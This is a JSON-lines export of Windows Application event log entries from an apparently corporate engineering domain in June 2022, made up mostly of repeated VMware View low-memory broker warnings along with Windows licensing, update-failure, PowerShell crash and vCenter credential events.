{"@timestamp":1655532079135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jun 18 08:01:19 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168933}}
{"@timestamp":1655575283147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jun 18 20:01:23 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168934}}
{"@timestamp":1655589171067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168935}}
{"@timestamp":1655618487263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jun 19 08:01:27 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168936}}
{"@timestamp":1655651325499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["powershell.exe","10.0.14393.206","57daccf5","unknown","0.0.0.0","00000000","c0000096","000002a465120002","19b8","01d883ee6d85aec2","C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","unknown","aa375ddc-50ee-4282-b404-6da6643d3562","",""]}}},"module":"Application","provider":"Application Error","sequence":168937}}
{"@timestamp":1655651325503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1005,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","Windows PowerShell","00000000","0"]}}},"module":"Application","provider":"Application Error","sequence":168938}}
{"@timestamp":1655651703848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168939}}
{"@timestamp":1655661691298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jun 19 20:01:31 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168940}}
{"@timestamp":1655704895393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jun 20 08:01:35 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168941}}
{"@timestamp":1655714896775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168942}}
{"@timestamp":1655748099417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jun 20 20:01:39 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168943}}
{"@timestamp":1655778029674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168944}}
{"@timestamp":1655791303632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jun 21 08:01:43 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168945}}
{"@timestamp":1655834507656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jun 21 20:01:47 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168946}}
{"@timestamp":1655839722548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168947}}
{"@timestamp":1655877711672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 22 08:01:51 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168948}}
{"@timestamp":1655902195478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168949}}
{"@timestamp":1655911779954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/12/12:15:28:39;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168950}}
{"@timestamp":1655911781217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600E6B9D00F9D9D2FA95B90B91C3B36E4296648347E583147798B62752F0F8E321F65224DE28ABCF41B4AD8912E39D77AA6A312D79BF1A9ECD85389BB850181125038DAEB2C5C113C12C81A25DEAFCEE0DDA38EDC19905CAF01C1424C7B05176995177FA5DAB9970FD9C8A623C54BC5C2D4978369C20E01756751340B45FEDD9830DB7328BE6031E8D1FE7C68573E472013921D0B066B8C3410DE3993F717DA1D1CD7361171046949E5F9B8CA92B1D2206E77BD2C95C3601EDE4BA1E517B0D5BC9FB0755B009D7EA627F348387E376324A45F935779982E48408F59F18167762464A7230E28FA28C037744DEAB76EE7C2EAB725A8149B52F47EA8F4953621E17130","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/06/22 15:29, 0, 1, 249119, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168951}}
{"@timestamp":1655911781342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"000006007599B5AD6105DA8EFEECDEAB856126331420427E3BF8CD6D59250C194A39DFA0E45F54C7D474C4E4B4D8AA1F39514919D50A78EFEB68860DF234F9C43B004AF6D9C34184D45526A4AD3BA6A55693EC249639CAA3BE2BAD54F9F99A60693028284B73D3B69E463B3C85E52702E618C35D05809247B07813B0877084648E8A24B3DA6B306AD5397E7FB455EB91EF2D1B52D3BDEDD9F6421068456949E8AAFEE2643D985AC0567535149270BB74A33195EC4FF12EB4B3BCC81A2EFFF423B42BCB75FDE30CDACBC04364F1289FB4CDBB7F72DE3933608F22002BBE3F085D44353F242299CA35C08A024B2E0420D38AA9FA51088B5FB630348457413BB4CF6CE0B79A","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/06/22 15:29"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168952}}
{"@timestamp":1655911781480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168953}}
{"@timestamp":1655911781481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168954}}
{"@timestamp":1655911781484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168955}}
{"@timestamp":1655911781541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168956}}
{"@timestamp":1655911781615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168957}}
{"@timestamp":1655911781638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168958}}
{"@timestamp":1655911781877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/12/19:15:29:41;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168959}}
{"@timestamp":1655911781906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168960}}
{"@timestamp":1655911811948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-29T15:29:11Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168961}}
{"@timestamp":1655920915713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jun 22 20:01:55 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168962}}
{"@timestamp":1655962447774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168963}}
{"@timestamp":1655964119719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 23 08:01:59 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168964}}
{"@timestamp":1655995006005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","8024000b","EC4538F6-2C8F-4091-82AA-C588CF7B4B14","Install","200","0","8024000b","Windows Defender","{9482F4B4-E343-43B6-B170-9A65BC822C77}","0","","","","0","e7ae4122-f301-11ec-b81b-a42a1676f0c6","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":168965}}
{"@timestamp":1656007323770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jun 23 20:02:03 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168966}}
{"@timestamp":1656026060633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168967}}
{"@timestamp":1656050527860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jun 24 08:02:07 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168968}}
{"@timestamp":1656084812453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168969}}
{"@timestamp":1656093731910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jun 24 20:02:11 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168970}}
{"@timestamp":1656136935966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jun 25 08:02:15 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168971}}
{"@timestamp":1656142964690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168972}}
{"@timestamp":1656180139995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jun 25 20:02:19 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168973}}
{"@timestamp":1656206277597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168974}}
{"@timestamp":1656223344020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jun 26 08:02:24 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168975}}
{"@timestamp":1656264549164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168976}}
{"@timestamp":1656266548060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jun 26 20:02:28 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168977}}
{"@timestamp":1656279686663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_VC_STATUS_CHANGED_INVALID_CREDENTIALS\nvCenter at address https://eng-vmvc401.engineering-ac.de:443/sdk has invalid credentials\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jun 26 23:41:26 CEST 2022\n\tVCAddress=https://eng-vmvc401.engineering-ac.de:443/sdk\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.l\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168978}}
